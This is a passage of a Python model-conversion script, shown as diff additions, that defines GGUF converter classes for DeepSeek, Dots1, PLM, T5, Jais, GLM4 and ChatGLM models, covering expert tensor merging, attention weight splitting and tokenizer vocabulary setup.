self.gguf_writer.add_expert_feed_forward_length(hparams["moe_intermediate_size"]) + self.gguf_writer.add_expert_weights_scale(1.0) + self.gguf_writer.add_expert_count(hparams["n_routed_experts"]) + self.gguf_writer.add_expert_shared_count(hparams["n_shared_experts"]) + + _experts: list[dict[str, Tensor]] | None = None + + @staticmethod + def permute(weights: Tensor, n_head: int, n_head_kv: int | None): + if n_head_kv is not None and n_head != n_head_kv: + n_head = n_head_kv + return (weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape)) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + + if name.endswith(("q_proj.weight", "q_proj.bias")): + data_torch = DeepseekModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight", "k_proj.bias")): + data_torch = DeepseekModel.permute(data_torch, n_head, n_kv_head) + + # process the experts separately + if name.find("mlp.experts") != -1: + n_experts = self.hparams["n_routed_experts"] + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for w_name in ["down_proj", "gate_proj", "up_proj"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.mlp.experts.{xid}.{w_name}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.mlp.experts.{w_name}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("DeepseekV2ForCausalLM") +@ModelBase.register("DeepseekV3ForCausalLM") +class DeepseekV2Model(TextModel): + model_arch = gguf.MODEL_ARCH.DEEPSEEK2 + + def set_vocab(self): + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + + # note: deepseek2 using MLA converts into MQA (ie: GQA with 1 group) + self.hparams["num_key_value_heads"] = 1 + + super().set_gguf_parameters() + hparams = self.hparams + + self.gguf_writer.add_leading_dense_block_count(hparams["first_k_dense_replace"]) + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + if "q_lora_rank" in hparams and hparams["q_lora_rank"] is not None: + self.gguf_writer.add_q_lora_rank(hparams["q_lora_rank"]) + self.gguf_writer.add_kv_lora_rank(hparams["kv_lora_rank"]) + + # note: deepseek2 using MLA converts into MQA with larger heads, then decompresses to MHA + self.gguf_writer.add_key_length(hparams["kv_lora_rank"] + hparams["qk_rope_head_dim"]) + self.gguf_writer.add_value_length(hparams["kv_lora_rank"]) + self.gguf_writer.add_key_length_mla(hparams["qk_nope_head_dim"] + hparams["qk_rope_head_dim"]) + self.gguf_writer.add_value_length_mla(hparams["v_head_dim"]) + + self.gguf_writer.add_expert_feed_forward_length(hparams["moe_intermediate_size"]) + self.gguf_writer.add_expert_count(hparams["n_routed_experts"]) + self.gguf_writer.add_expert_shared_count(hparams["n_shared_experts"]) + self.gguf_writer.add_expert_weights_scale(hparams["routed_scaling_factor"]) + self.gguf_writer.add_expert_weights_norm(hparams["norm_topk_prob"]) + + if hparams["scoring_func"] == "sigmoid": + self.gguf_writer.add_expert_gating_func(gguf.ExpertGatingFuncType.SIGMOID) + elif hparams["scoring_func"] == "softmax": + self.gguf_writer.add_expert_gating_func(gguf.ExpertGatingFuncType.SOFTMAX) + else: + raise ValueError(f"Unsupported scoring_func value: {hparams['scoring_func']}") + + self.gguf_writer.add_rope_dimension_count(hparams["qk_rope_head_dim"]) + + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "yarn" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.YARN) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + self.gguf_writer.add_rope_scaling_orig_ctx_len(rope_scaling["original_max_position_embeddings"]) + self.gguf_writer.add_rope_scaling_yarn_log_mul(0.1 * rope_scaling["mscale_all_dim"]) + + _experts: list[dict[str, Tensor]] | None = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + # rename e_score_correction_bias tensors + if name.endswith("e_score_correction_bias"): + name = name.replace("e_score_correction_bias", "e_score_correction.bias") + + # skip Multi-Token Prediction (MTP) layers + block_count = self.hparams["num_hidden_layers"] + match = re.match(r"model.layers.(\d+)", name) + if match and int(match.group(1)) >= block_count: + return [] + + # process the experts separately + if name.find("mlp.experts") != -1: + n_experts = self.hparams["n_routed_experts"] + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for w_name in ["down_proj", "gate_proj", "up_proj"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.mlp.experts.{xid}.{w_name}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.mlp.experts.{w_name}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + # note: MLA with the absorption optimization, needs these two split and k_b_proj transposed + if name.endswith("kv_b_proj.weight"): + name_kb = name.replace("kv_b_proj", "k_b_proj") + name_vb = name.replace("kv_b_proj", "v_b_proj") + + n_head_kv = self.hparams["num_key_value_heads"] + v_head_dim = self.hparams["v_head_dim"] + qk_nope_head_dim = self.hparams["qk_nope_head_dim"] + + assert data_torch.shape[0] == n_head_kv * (v_head_dim + qk_nope_head_dim) + + kv_b = data_torch.view(n_head_kv, v_head_dim + qk_nope_head_dim, data_torch.shape[-1]) + k_b, v_b = torch.split(kv_b, [qk_nope_head_dim, v_head_dim], dim=1) + k_b = k_b.transpose(1, 2) + + return [ + (self.map_tensor_name(name_kb), k_b), + (self.map_tensor_name(name_vb), v_b) + ] + + return [(self.map_tensor_name(name), data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("Dots1ForCausalLM") +class Dots1Model(Qwen2MoeModel): + model_arch = gguf.MODEL_ARCH.DOTS1 + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.hparams["num_experts"] = self.hparams["n_routed_experts"] + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self.gguf_writer.add_leading_dense_block_count(self.hparams["first_k_dense_replace"]) + self.gguf_writer.add_expert_shared_count(self.hparams["n_shared_experts"]) + self.gguf_writer.add_expert_weights_scale(self.hparams["routed_scaling_factor"]) + self.gguf_writer.add_expert_weights_norm(self.hparams["norm_topk_prob"]) + + if self.hparams["scoring_func"] == "noaux_tc": + self.gguf_writer.add_expert_gating_func(gguf.ExpertGatingFuncType.SIGMOID) + else: + raise ValueError(f"Unsupported scoring_func value: {self.hparams['scoring_func']}") + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None): + if name.endswith("e_score_correction_bias"): + name = name.replace("e_score_correction_bias", "e_score_correction.bias") + if "shared_experts" in name: + return [(self.map_tensor_name(name), data_torch)] + return super().modify_tensors(data_torch, name, bid) + + +@ModelBase.register("PLMForCausalLM") +class PLMModel(TextModel): + model_arch = gguf.MODEL_ARCH.PLM + + def set_vocab(self): + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + self.gguf_writer.add_kv_lora_rank(hparams["kv_lora_rank"]) + self.gguf_writer.add_key_length(hparams["qk_nope_head_dim"] + hparams["qk_rope_head_dim"]) + self.gguf_writer.add_value_length(hparams["v_head_dim"]) + self.gguf_writer.add_rope_dimension_count(hparams["qk_rope_head_dim"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + return [(self.map_tensor_name(name), data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + +@ModelBase.register("T5WithLMHeadModel") +@ModelBase.register("T5ForConditionalGeneration") +@ModelBase.register("MT5ForConditionalGeneration") +@ModelBase.register("UMT5ForConditionalGeneration") +class T5Model(TextModel): + model_arch = gguf.MODEL_ARCH.T5 + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.shared_token_embeddings_found = False + + def set_vocab(self): + # to avoid TypeError: Descriptors cannot be created directly + # exception when importing sentencepiece_model_pb2 + os.environ["PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION"] = "python" + from sentencepiece import SentencePieceProcessor + from sentencepiece import sentencepiece_model_pb2 as model + + tokenizer_path = self.dir_model / 'tokenizer.model' + + # many older models use spiece.model tokenizer model filename + if not tokenizer_path.is_file(): + tokenizer_path = self.dir_model / 'spiece.model' + + if not tokenizer_path.is_file(): + raise FileNotFoundError(f"File not found: {tokenizer_path}") + + sentencepiece_model = model.ModelProto() # pyright: ignore[reportAttributeAccessIssue] + sentencepiece_model.ParseFromString(open(tokenizer_path, "rb").read()) + + # some models like Pile-T5 family use BPE tokenizer instead of Unigram + if sentencepiece_model.trainer_spec.model_type == 2: # BPE + # assure the tokenizer model file name is correct + assert tokenizer_path.name == 'tokenizer.model' + return self._set_vocab_sentencepiece() + else: + assert sentencepiece_model.trainer_spec.model_type == 1 # UNIGRAM + + add_prefix = sentencepiece_model.normalizer_spec.add_dummy_prefix + remove_whitespaces = sentencepiece_model.normalizer_spec.remove_extra_whitespaces + precompiled_charsmap = sentencepiece_model.normalizer_spec.precompiled_charsmap + + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = self.hparams.get('vocab_size', tokenizer.vocab_size()) + + tokens: list[bytes] = [f"[PAD{i}]".encode("utf-8") for i in range(vocab_size)] + scores: list[float] = [-10000.0] * vocab_size + toktypes: list[int] = [SentencePieceTokenTypes.UNUSED] * vocab_size + + for token_id in range(tokenizer.vocab_size()): + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + + added_tokens_file = self.dir_model / 'added_tokens.json' + if added_tokens_file.is_file(): + with open(added_tokens_file, "r", encoding="utf-8") as f: + added_tokens_json = json.load(f) + for key in added_tokens_json: + token_id = added_tokens_json[key] + if token_id >= vocab_size: + logger.warning(f'ignore token {token_id}: id is out of range, max={vocab_size - 1}') + continue + + tokens[token_id] = key.encode("utf-8") + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + + if vocab_size > len(tokens): + pad_count = vocab_size - len(tokens) + logger.debug(f"Padding vocab with {pad_count} token(s) - [PAD1] through [PAD{pad_count}]") + for i in range(1, pad_count + 1): + tokens.append(bytes(f"[PAD{i}]", encoding="utf-8")) + scores.append(-1000.0) + toktypes.append(SentencePieceTokenTypes.UNUSED) + + self.gguf_writer.add_tokenizer_model("t5") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + self.gguf_writer.add_add_space_prefix(add_prefix) + self.gguf_writer.add_remove_extra_whitespaces(remove_whitespaces) + if precompiled_charsmap: + self.gguf_writer.add_precompiled_charsmap(precompiled_charsmap) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + if (n_ctx := self.find_hparam(["n_positions"], optional=True)) is None: + logger.warning("Couldn't find context length in config.json, assuming default value of 512") + n_ctx = 512 + self.gguf_writer.add_context_length(n_ctx) + self.gguf_writer.add_embedding_length(self.hparams["d_model"]) + self.gguf_writer.add_feed_forward_length(self.hparams["d_ff"]) + self.gguf_writer.add_block_count(self.hparams["num_layers"]) + self.gguf_writer.add_head_count(self.hparams["num_heads"]) + self.gguf_writer.add_key_length(self.hparams["d_kv"]) + self.gguf_writer.add_value_length(self.hparams["d_kv"]) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_relative_attn_buckets_count(self.hparams["relative_attention_num_buckets"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_decoder_start_token_id(self.hparams["decoder_start_token_id"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + # T5 based models contain shared token embeddings tensors saved randomly as either "encoder.embed_tokens.weight", + # "decoder.embed_tokens.weight" or "shared.weight" tensor. In some models there are even multiple of them stored + # in the safetensors files. We use the first tensor from these three as the token embeddings for both encoder + # and decoder and ignore the remaining ones. + if name in ["decoder.embed_tokens.weight", "encoder.embed_tokens.weight", "shared.weight"]: + if not self.shared_token_embeddings_found: + name = "shared.weight" + self.shared_token_embeddings_found = True + else: + logger.debug(f"Skipping shared tensor {name!r} in safetensors so that convert can end normally.") + return [] + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("T5EncoderModel") +class T5EncoderModel(TextModel): + model_arch = gguf.MODEL_ARCH.T5ENCODER + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + self.shared_token_embeddings_found = False + + def set_vocab(self): + # to avoid TypeError: Descriptors cannot be created directly + # exception when importing sentencepiece_model_pb2 + os.environ["PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION"] = "python" + from sentencepiece import SentencePieceProcessor + from sentencepiece import sentencepiece_model_pb2 as model + + tokenizer_path = self.dir_model / 'tokenizer.model' + + # many older models use spiece.model tokenizer model filename + if not tokenizer_path.is_file(): + tokenizer_path = self.dir_model / 'spiece.model' + + if not tokenizer_path.is_file(): + raise FileNotFoundError(f"File not found: {tokenizer_path}") + + sentencepiece_model = model.ModelProto() # pyright: ignore[reportAttributeAccessIssue] + sentencepiece_model.ParseFromString(open(tokenizer_path, "rb").read()) + + # some models like Pile-T5 family use BPE tokenizer instead of Unigram + if sentencepiece_model.trainer_spec.model_type == 2: # BPE + # assure the tokenizer model file name is correct + assert tokenizer_path.name == 'tokenizer.model' + return self._set_vocab_sentencepiece() + else: + assert sentencepiece_model.trainer_spec.model_type == 1 # UNIGRAM + + add_prefix = sentencepiece_model.normalizer_spec.add_dummy_prefix + remove_whitespaces = sentencepiece_model.normalizer_spec.remove_extra_whitespaces + precompiled_charsmap = sentencepiece_model.normalizer_spec.precompiled_charsmap + + tokenizer = SentencePieceProcessor() + tokenizer.LoadFromFile(str(tokenizer_path)) + + vocab_size = self.hparams.get('vocab_size', tokenizer.vocab_size()) + + tokens: list[bytes] = [f"[PAD{i}]".encode("utf-8") for i in range(vocab_size)] + scores: list[float] = [-10000.0] * vocab_size + toktypes: list[int] = [SentencePieceTokenTypes.UNUSED] * vocab_size + + for token_id in range(tokenizer.vocab_size()): + piece = tokenizer.IdToPiece(token_id) + text = piece.encode("utf-8") + score = tokenizer.GetScore(token_id) + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.IsUnknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.IsControl(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.IsUnused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.IsByte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens[token_id] = text + scores[token_id] = score + toktypes[token_id] = toktype + + added_tokens_file = self.dir_model / 'added_tokens.json' + if added_tokens_file.is_file(): + with open(added_tokens_file, "r", encoding="utf-8") as f: + added_tokens_json = json.load(f) + for key in added_tokens_json: + token_id = added_tokens_json[key] + if token_id >= vocab_size: + logger.warning(f'ignore token {token_id}: id is out of range, max={vocab_size - 1}') + continue + + tokens[token_id] = key.encode("utf-8") + scores[token_id] = -1000.0 + toktypes[token_id] = SentencePieceTokenTypes.USER_DEFINED + + if vocab_size > len(tokens): + pad_count = vocab_size - len(tokens) + logger.debug(f"Padding vocab with {pad_count} token(s) - [PAD1] through [PAD{pad_count}]") + for i in range(1, pad_count + 1): + tokens.append(bytes(f"[PAD{i}]", encoding="utf-8")) + scores.append(-1000.0) + toktypes.append(SentencePieceTokenTypes.UNUSED) + + self.gguf_writer.add_tokenizer_model("t5") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + self.gguf_writer.add_add_space_prefix(add_prefix) + self.gguf_writer.add_remove_extra_whitespaces(remove_whitespaces) + if precompiled_charsmap: + self.gguf_writer.add_precompiled_charsmap(precompiled_charsmap) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + if (n_ctx := self.find_hparam(["n_positions"], optional=True)) is None: + logger.warning("Couldn't find context length in config.json, assuming default value of 512") + n_ctx = 512 + self.gguf_writer.add_context_length(n_ctx) + self.gguf_writer.add_embedding_length(self.hparams["d_model"]) + self.gguf_writer.add_feed_forward_length(self.hparams["d_ff"]) + self.gguf_writer.add_block_count(self.hparams["num_layers"]) + self.gguf_writer.add_head_count(self.hparams["num_heads"]) + self.gguf_writer.add_key_length(self.hparams["d_kv"]) + self.gguf_writer.add_value_length(self.hparams["d_kv"]) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_relative_attn_buckets_count(self.hparams["relative_attention_num_buckets"]) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + # T5 based models contain shared token embeddings tensors saved randomly as either "encoder.embed_tokens.weight", + # "decoder.embed_tokens.weight" or "shared.weight" tensor. In some models there are even multiple of them stored + # in the safetensors files. We use the first tensor from these three as the token embeddings for both encoder + # and decoder and ignore the remaining ones. + if name in ["decoder.embed_tokens.weight", "encoder.embed_tokens.weight", "shared.weight"]: + if not self.shared_token_embeddings_found: + name = "shared.weight" + self.shared_token_embeddings_found = True + else: + logger.debug(f"Skipping shared tensor {name!r} in safetensors so that convert can end normally.") + return [] + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("JAISLMHeadModel") +class JaisModel(TextModel): + model_arch = gguf.MODEL_ARCH.JAIS + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + # SwigLU activation + assert self.hparams["activation_function"] == "swiglu" + # ALiBi position embedding + assert self.hparams["position_embedding_type"] == "alibi" + + # Embeddings scale + self.embeddings_scale = 1.0 + if 'mup_embeddings_scale' in self.hparams: + self.embeddings_scale = self.hparams['mup_embeddings_scale'] + elif 'embeddings_scale' in self.hparams: + self.embeddings_scale = self.hparams['embeddings_scale'] + else: + assert False + + self.width_scale = 1.0 + if 'mup_output_alpha' in self.hparams: + assert 'mup_width_scale' in self.hparams + self.width_scale = self.hparams['mup_output_alpha'] * self.hparams['mup_width_scale'] + elif 'width_scale' in self.hparams: + self.width_scale = self.hparams['width_scale'] + else: + assert False + + self.max_alibi_bias = 8.0 + + def set_vocab(self): + self._set_vocab_gpt2() + + def set_gguf_parameters(self): + self.gguf_writer.add_block_count(self.hparams["n_layer"]) + self.gguf_writer.add_context_length(self.hparams["n_positions"]) + self.gguf_writer.add_embedding_length(self.hparams["n_embd"]) + self.gguf_writer.add_feed_forward_length(self.hparams["n_inner"]) + self.gguf_writer.add_head_count(self.hparams["n_head"]) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + tensors: list[tuple[str, Tensor]] = [] + + # we don't need these + if name.endswith((".attn.bias")): + return tensors + + if name.endswith(("relative_pe.slopes")): + # Calculate max ALiBi bias (this is the inverse of the ALiBi calculation) + # Some other models has max_alibi_bias spelled out explicitly in the hyperparams, + # but Jais's PyTorch model simply precalculates the slope values and places them + # in relative_pes.slopes + n_head_closest_log2 = 2 ** math.floor(math.log2(self.hparams["n_head"])) + first_val = float(data_torch[0].item()) + self.max_alibi_bias = -round(math.log2(first_val) * n_head_closest_log2) + + return tensors + + if name.endswith((".c_attn.weight", ".c_proj.weight", ".c_fc.weight", ".c_fc2.weight")): + data_torch = data_torch.transpose(1, 0) + + new_name = self.map_tensor_name(name) + + if new_name == self.format_tensor_name(gguf.MODEL_TENSOR.TOKEN_EMBD): + tensors.append((new_name, data_torch * self.embeddings_scale)) + elif new_name == self.format_tensor_name(gguf.MODEL_TENSOR.OUTPUT): + tensors.append((new_name, data_torch * self.width_scale)) + else: + tensors.append((new_name, data_torch)) + + return tensors + + def prepare_tensors(self): + super().prepare_tensors() + self.gguf_writer.add_max_alibi_bias(self.max_alibi_bias) + + +@ModelBase.register("Glm4ForCausalLM") +class Glm4Model(TextModel): + model_arch = gguf.MODEL_ARCH.GLM4 + + def set_vocab(self): + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(self.dir_model, trust_remote_code=True) + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=True) + tokens, toktypes, tokpre = self.get_vocab_base() + self.gguf_writer.add_tokenizer_model("gpt2") + self.gguf_writer.add_tokenizer_pre(tokpre) + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=True) + special_vocab._set_special_token("eos", tokenizer.get_added_vocab()["<|endoftext|>"]) + special_vocab._set_special_token("eot", tokenizer.get_added_vocab()["<|user|>"]) + special_vocab._set_special_token("unk", tokenizer.get_added_vocab()["<|endoftext|>"]) + special_vocab._set_special_token("bos", tokenizer.get_added_vocab()["<|endoftext|>"]) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + rope_dim = self.hparams["head_dim"] + self.gguf_writer.add_rope_dimension_count(int(rope_dim * self.hparams.get("partial_rotary_factor", 0.5))) + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "yarn" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.YARN) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + self.gguf_writer.add_rope_scaling_orig_ctx_len(rope_scaling["original_max_position_embeddings"]) + + +@ModelBase.register("GlmForCausalLM", "ChatGLMModel", "ChatGLMForConditionalGeneration") +class ChatGLMModel(TextModel): + model_arch = gguf.MODEL_ARCH.CHATGLM + + def set_vocab_chatglm3(self): + dir_model = self.dir_model + hparams = self.hparams + tokens: list[bytes] = [] + toktypes: list[int] = [] + scores: list[float] = [] + + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(dir_model, trust_remote_code=True) + vocab_size = hparams.get("padded_vocab_size", len(tokenizer.get_vocab())) + assert max(tokenizer.get_vocab().values()) < vocab_size + role_special_tokens = ["<|system|>", "<|user|>", "<|assistant|>", "<|observation|>"] + special_tokens = ["[MASK]", "[gMASK]", "[sMASK]", "sop", "eop"] + role_special_tokens + for token_id in range(vocab_size): + piece = tokenizer._convert_id_to_token(token_id) + if token_id == 0: + piece = "" + elif token_id == 1: + piece = "" + elif token_id == 2: + piece = "" + + text = piece.encode("utf-8") + score = 0.0 + # Referencing the tokenizer Python implementation(https://huggingface.co/THUDM/chatglm3-6b/blob/main/tokenization_chatglm.py), + # it is only valid if it is less than tokenizer.tokenizer.sp_model.vocab_size() + if len(piece) != 0 and token_id < tokenizer.tokenizer.sp_model.vocab_size(): + score = tokenizer.tokenizer.sp_model.get_score(token_id) + + if token_id >= tokenizer.tokenizer.sp_model.vocab_size(): + if piece in special_tokens: + toktype = SentencePieceTokenTypes.CONTROL + elif len(piece) == 0: + text = f"[PAD{token_id}]".encode("utf-8") + toktype = SentencePieceTokenTypes.UNUSED + else: + toktype = SentencePieceTokenTypes.USER_DEFINED + tokens.append(text) + scores.append(score) + toktypes.append(toktype) + continue + + toktype = SentencePieceTokenTypes.NORMAL + if tokenizer.tokenizer.sp_model.is_unknown(token_id): + toktype = SentencePieceTokenTypes.UNKNOWN + elif tokenizer.tokenizer.sp_model.is_control(token_id): + toktype = SentencePieceTokenTypes.CONTROL + elif tokenizer.tokenizer.sp_model.is_unused(token_id): + toktype = SentencePieceTokenTypes.UNUSED + elif tokenizer.tokenizer.sp_model.is_byte(token_id): + toktype = SentencePieceTokenTypes.BYTE + + tokens.append(text) + scores.append(score) + toktypes.append(toktype) + + self.gguf_writer.add_tokenizer_model("llama") + # glm3 needs prefix and suffix formatted as: + # prompt = "[gMASK]sop<|user|>\n" + prompt + "<|assistant|>" + self.gguf_writer.add_tokenizer_pre("chatglm-spm") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_scores(scores) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(self.dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + @staticmethod + def token_bytes_to_string(b): + from transformers.models.gpt2.tokenization_gpt2 import bytes_to_unicode + byte_encoder = bytes_to_unicode() + return ''.join([byte_encoder[ord(char)] for char in b.decode('latin-1')]) + + @staticmethod + def bpe(mergeable_ranks: dict[bytes, int], token: bytes, max_rank: int | None = None) -> list[bytes]: + parts = [bytes([b]) for b in token] + while True: + min_idx = None + min_rank = None + for i, pair in enumerate(zip(parts[:-1], parts[1:])): + rank = mergeable_ranks.get(pair[0] + pair[1]) + if rank is not None and (min_rank is None or rank < min_rank): + min_idx = i + min_rank = rank + if min_rank is None or (max_rank is not None and min_rank >= max_rank): + break + assert min_idx is not None + parts = parts[:min_idx] + [parts[min_idx] + parts[min_idx + 1]] + parts[min_idx + 2:] + return parts + + def set_vocab(self): + if "THUDM/chatglm3-6b" in self.hparams.get("_name_or_path", ""): + self.set_vocab_chatglm3() + return + + dir_model = self.dir_model + hparams = self.hparams + tokens: list[str] = [] + toktypes: list[int] = [] + + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(dir_model, trust_remote_code=True) + vocab_size = hparams.get("padded_vocab_size",hparams["vocab_size"]) + assert max(tokenizer.get_vocab().values()) < vocab_size + + tokens, toktypes, tokpre = self.get_vocab_base() + self.gguf_writer.add_tokenizer_model("gpt2") + self.gguf_writer.add_tokenizer_pre(tokpre) + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=True) + # only add special tokens when they were not already loaded from config.json + special_vocab._set_special_token("eos", tokenizer.get_added_vocab()["<|endoftext|>"]) + special_vocab._set_special_token("eot", tokenizer.get_added_vocab()["<|user|>"]) + # this one is usually not in config.json anyway + special_vocab._set_special_token("unk", tokenizer.get_added_vocab()["<|endoftext|>"]) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + n_embed = self.hparams.get("hidden_size", self.hparams.get("n_embed")) + n_head = self.hparams.get("n_head", self.hparams.get("num_attention_heads")) + n_head_kv = self.hparams.get("multi_query_group_num", self.hparams.get("num_key_value_heads", n_head)) + self.gguf_writer.add_context_length(self.hparams.get("seq_length", n_embed)) + self.gguf_writer.add_embedding_length(n_embed) + self.gguf_writer.add_feed_forward_length(self.hparams.get("ffn_hidden_size", self.hparams.get("intermediate_size", 4 * n_embed))) + self.gguf_writer.add_block_count(self.hparams.get("num_layers", self.hparams["num_hidden_layers"])) + self.gguf_writer.add_head_count(n_head) + self.gguf_writer.add_head_count_kv(n_head_kv) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams.get("layernorm_epsilon",1e-5)) + self.gguf_writer.add_file_type(self.ftype) + if "attention_dim" in self.hparams: + rope_dim = self.hparams["attention_dim"] + else: + rope_dim = self.hparams["hidden_size"] // self.hparams["num_attention_heads"] + self.gguf_writer.add_rope_dimension_count(int(rope_dim * self.hparams.get("partial_rotary_factor", 0.5))) + self.gguf_writer.add_add_bos_token(False) + rope_freq = 10000 + if "rope_ratio" in self.hparams: + rope_freq = rope_freq * self.hparams["rope_ratio"] + self.gguf_writer.add_rope_freq_base(rope_freq) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if name.endswith(".rotary_pos_emb.inv_freq") or name.startswith("model.vision."): + return [] + + name = name.removeprefix("transformer.") + return [(self.map_tensor_name(name), 